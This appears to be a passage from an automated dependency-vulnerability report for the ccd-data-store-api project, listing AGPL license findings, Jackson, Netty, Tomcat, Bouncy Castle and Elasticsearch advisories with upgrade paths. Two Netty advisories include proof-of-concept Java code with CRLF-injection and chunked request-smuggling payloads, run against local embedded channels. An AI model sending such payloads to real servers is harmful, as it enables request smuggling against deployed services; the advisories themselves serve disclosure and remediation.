  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-cli@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4

AGPL-3.0 license

high severity

AGPL-3.0 license

  • Module: org.elasticsearch:elasticsearch-native
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4

AGPL-3.0 license

high severity

AGPL-3.0 license

  • Module: org.elasticsearch:elasticsearch-simdvec
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4

AGPL-3.0 license

high severity

AGPL-3.0 license

  • Module: org.elasticsearch.plugin:elasticsearch-plugin-analysis-api
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4

AGPL-3.0 license

high severity

AGPL-3.0 license

  • Module: org.elasticsearch.plugin:elasticsearch-plugin-api
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4

AGPL-3.0 license

medium severity
new

Improperly Controlled Modification of Dynamically-Determined Object Attributes

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.15.4, co.elastic.clients:elasticsearch-java@9.2.4 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.fasterxml.jackson.core:jackson-databind@2.15.4
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.9.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 com.fasterxml.jackson.core:jackson-databind@2.15.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.auth0:java-jwt@4.5.0 com.fasterxml.jackson.core:jackson-databind@2.15.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.github.openfeign:feign-jackson@13.6 com.fasterxml.jackson.core:jackson-databind@2.15.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.jsonwebtoken:jjwt-jackson@0.13.0 com.fasterxml.jackson.core:jackson-databind@2.15.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 co.elastic.clients:elasticsearch-rest5-client@9.2.4 com.fasterxml.jackson.core:jackson-databind@2.15.4
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.3.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 io.swagger.core.v3:swagger-core-jakarta@2.2.47 com.fasterxml.jackson.core:jackson-databind@2.15.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 io.swagger.core.v3:swagger-core-jakarta@2.2.47 com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.21.1 com.fasterxml.jackson.core:jackson-databind@2.15.4

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes in the BeanDeserializerBase.createContextual() method, which applies the per-property exclusions through _handleByNameInclusion() and then rebuilds the property map from the unfiltered original, overwriting the filtered map and restoring every property the exclusion had removed. An attacker can set fields that were marked ignored, enabling mass assignment, by supplying those property names in untrusted JSON during deserialization. Exploitation requires case-insensitive property matching to be enabled via @JsonFormat with ACCEPT_CASE_INSENSITIVE_PROPERTIES alongside per-property @JsonIgnoreProperties.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.9, 2.21.5, 2.22.1 or higher.

References

medium severity
new

Server-side Request Forgery (SSRF)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.15.4, co.elastic.clients:elasticsearch-java@9.2.4 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.fasterxml.jackson.core:jackson-databind@2.15.4
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.8.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 com.fasterxml.jackson.core:jackson-databind@2.15.4
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.4.3.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.auth0:java-jwt@4.5.0 com.fasterxml.jackson.core:jackson-databind@2.15.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.github.openfeign:feign-jackson@13.6 com.fasterxml.jackson.core:jackson-databind@2.15.4
    Remediation: Upgrade to io.github.openfeign:feign-jackson@13.13.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.jsonwebtoken:jjwt-jackson@0.13.0 com.fasterxml.jackson.core:jackson-databind@2.15.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 co.elastic.clients:elasticsearch-rest5-client@9.2.4 com.fasterxml.jackson.core:jackson-databind@2.15.4
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.3.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 io.swagger.core.v3:swagger-core-jakarta@2.2.47 com.fasterxml.jackson.core:jackson-databind@2.15.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 io.swagger.core.v3:swagger-core-jakarta@2.2.47 com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.21.1 com.fasterxml.jackson.core:jackson-databind@2.15.4

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) in the JDKFromStringDeserializer class, which constructs InetSocketAddress and resolves the hostname through DNS at deserialization time. An attacker can force the server to issue outbound DNS lookups for chosen hostnames by submitting JSON that is deserialized into a type holding an InetSocketAddress field, with no authentication required. The observable effect is limited to DNS resolution of attacker-chosen names, useful for out-of-band interaction or internal resolver probing rather than a full outbound request, and it applies only where the application deserializes untrusted JSON into types containing such fields.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.8, 2.21.4 or higher.

References

medium severity

CRLF Injection

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to CRLF Injection in HttpRequestEncoder, due to improper sanitization of a URI with line-breaks in the DefaultHttpRequest class. An attacker can manipulate HTTP requests to cause parser desynchronization, request smuggling, and response splitting by including line break characters in requests.

PoC


public static void main(String[] args) {

  EmbeddedChannel client = new EmbeddedChannel();
  client.pipeline().addLast(new HttpClientCodec());

  EmbeddedChannel server = new EmbeddedChannel();
  server.pipeline().addLast(new HttpServerCodec());
  server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
      System.out.println("Processing msg " + msg);
    }
  });

  DefaultHttpRequest request = new DefaultHttpRequest(
    HttpVersion.HTTP_1_1,
    HttpMethod.GET,
    "/s1 HTTP/1.1\r\n" +
      "\r\n" +
      "POST /s2 HTTP/1.1\r\n" +
      "content-length: 11\r\n\r\n" +
      "Hello World" +
      "GET /s1"
  );
  client.writeAndFlush(request);
  ByteBuf tmp;
  while ((tmp = client.readOutbound()) != null) {
    server.writeInbound(tmp);
  }
}

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.129.Final, 4.2.8.Final or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the getChunkSize function. An attacker can inject unauthorized HTTP requests by crafting a chunk size value that causes integer overflow, allowing additional requests to be smuggled within the body of a chunked HTTP message.

PoC

@Test
public void test() {
    String requestStr = "POST / HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Transfer-Encoding: chunked\r\n\r\n" +
            "100000004\r\n" +
            "test\r\n" +
            "0\r\n" +
            "\r\n" +
            "GET /smuggled HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Content-Length: 0\r\n" +
            "\r\n";

    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

    // Request 1
    HttpRequest request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    HttpContent content = channel.readInbound();
    assertTrue(content.decoderResult().isSuccess());
    assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
    content.release();
    LastHttpContent last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();

    // Request 2
    request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();
}

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity
new

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in HttpObjectDecoder.java, which skips whitespace as well as bytes 0x00-0x1F and 0x7F. An attacker can cause request-boundary confusion in pipelined or multiplexed transports by sending malicious HTTP requests containing arbitrary control characters, which may be interpreted differently by front-end components.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.135.Final, 4.2.15.Final or higher.

References

medium severity
new

Always-Incorrect Control Flow Implementation

  • Vulnerable module: org.apache.tomcat.embed:tomcat-embed-core
  • Introduced through: org.springframework.boot:spring-boot-starter-web@4.1.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.apache.tomcat.embed:tomcat-embed-core@11.0.22
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.apache.tomcat.embed:tomcat-embed-core@11.0.22
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.apache.tomcat.embed:tomcat-embed-websocket@11.0.22 org.apache.tomcat.embed:tomcat-embed-core@11.0.22
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.apache.tomcat.embed:tomcat-embed-core@11.0.22

Overview

org.apache.tomcat.embed:tomcat-embed-core is a Core Tomcat implementation.

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation due to incorrect control flow in the RewriteValve process. An attacker can bypass intended rewrite rules by crafting requests that exploit the improper evaluation of OR chains in conditions.

Remediation

Upgrade org.apache.tomcat.embed:tomcat-embed-core to version 9.0.119, 10.1.56, 11.0.23 or higher.

References

medium severity

LDAP Injection

  • Vulnerable module: org.bouncycastle:bcprov-jdk18on
  • Introduced through: org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 and org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.2 org.bouncycastle:bcprov-jdk18on@1.81.1
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework.cloud:spring-cloud-starter@5.0.2 org.bouncycastle:bcprov-jdk18on@1.81.1

Overview

Affected versions of this package are vulnerable to LDAP Injection via the parseDN handling and the LDAP store helpers in X509LDAPCertStoreSpi and LDAPStoreHelper. An attacker can influence LDAP search filters by supplying a crafted X.500 subject or issuer string that is parsed into an unescaped filter value. This lets the attacker alter the directory query used to locate certificates and CRLs, causing the application to retrieve incorrect LDAP entries or fail to find the intended ones, which can break certificate validation and revocation checks.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.84 or higher.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.elasticsearch:elasticsearch
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.3.6.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4

Overview

org.elasticsearch:elasticsearch is a Distributed, RESTful Search Engine.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the machine learning request process. An attacker can exhaust system memory and render the affected node unavailable by submitting specially crafted requests with elevated privileges.

Remediation

Upgrade org.elasticsearch:elasticsearch to version 8.19.17, 9.3.6, 9.4.3 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.github.openfeign.form:feign-form-spring@3.8.0 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.hateoas:spring-hateoas@3.1.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.1.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
